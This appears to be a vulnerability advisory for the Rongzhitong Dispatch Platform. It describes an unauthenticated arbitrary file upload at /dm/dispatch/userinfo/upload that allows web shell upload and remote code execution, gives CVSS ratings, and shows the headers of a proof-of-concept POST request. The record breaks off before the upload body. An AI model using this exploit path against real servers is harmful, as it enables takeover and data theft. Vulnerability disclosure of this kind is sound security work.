[★]Rongzhitong-dispatch-userinfo-upload-File-Upload-English
输入“/”快速插入内容
[★]Rongzhitong-dispatch-userinfo-upload-File-Upload-English
[★]Rongzhitong-dispatch-userinfo-upload-File-Upload-English
6月17日修改
Company：Rongzhitong Technology (Beijing) Co., Ltd.
Product: Rongzhitong Dispatch Platform (调度平台)
Affected version: All versions
Vulnerability Type: CWE-434 (Unrestricted Upload of File with Dangerous Type)
Attack Vector: Network (Remote)
漏洞描述 (Description)：
A Critical unauthenticated arbitrary file upload vulnerability has been identified in the Rongzhitong Dispatch Platform developed by Rongzhitong Technology (Beijing) Co., Ltd.
The vulnerability exists in the /dm/dispatch/userinfo/upload interface. The upload endpoint does not properly authenticate the request or validate the type, extension, or content of the uploaded file, allowing a remote attacker to upload arbitrary files (including server-side script files such as .jsp) without any authentication.
Successful exploitation may allow an unauthenticated attacker to upload a web shell, achieve remote code execution on the underlying server, take full control of the application, pivot into the internal network, and access or tamper with sensitive business data. This may further affect the confidentiality, integrity, and availability of the dispatch platform.
Impact Score (*CVSS* v3.1):
•
Attack Vector (AV): Network
•
Attack Complexity (AC): Low
•
Privileges Required (PR): None
•
User Interaction (UI): None
•
Scope (S): Changed
•
Confidentiality (C): High
•
Integrity (I): High
•
Availability (A): High
Vendor Asset Proof
•
Registered Capital: 6,005.5 万 (CNY)
•
Paid-in Capital: 6,005.5 万 (CNY)
Vulnerability POC
The login page / management interface of the affected dispatch platform looks like the screenshots below.
POC
POST /dm/dispatch/userinfo/upload HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymktQ1NxGS3TKIY1T
Content-Length: 155